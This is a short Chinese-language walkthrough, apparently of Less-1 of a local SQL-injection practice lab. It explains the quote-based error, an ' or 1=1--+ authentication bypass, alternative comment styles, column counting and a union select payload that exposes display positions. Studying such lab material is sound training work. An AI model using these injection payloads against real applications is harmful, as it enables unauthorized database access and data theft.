在第一个关卡当中还是学到些知识。
1.注释语句多试试其他的几个
2.不报错可能是前面的语句没有错误,union没有得到执行。
http://127.0.0.1/sql/Less-1/index.php?id=1' 加单引号报错了。
从上面的错误提示当中,我们可以看到提交到sql中的1'在经过sql语句构造后形成 '1'' LIMIT 0,1,多加了一个 ' 。接下来想如何将多余的 ' 去掉
可以借鉴一下源码
得出payload:
'or 1=1--+
是不是这条语句就成功的绕过了呢?需要注意的是--+,当“/*”或者“#”不行的时候就换一个注释的方法。
成功绕过。如此便成功绕过了。
接下来就是联合查询注入。虽然简单,但是也有一个知识点。
自然而然的猜解字段数:3
执行:
http://127.0.0.1/sql/Less-1/index.php?id=1' union select 1,2,3 --+
的时候,并没有爆错。看源码
加入' union select 1,2,3 --+的sql语句就是如下:
$sql="select * from users where id='1' union select 1,2,3 --+' limit 0,1";
前面的select * from users where id='1' 如果没有错误的话,那么union后面的就不会被执行。
那么找到问题所在了,就解决问题。再次修改一下注入语句。
http://127.0.0.1/sql/Less-1/index.php?id=-1' union select 1,2,3 --+
成功爆出显示位。接下来就是真正的一个个的猜解了过程了。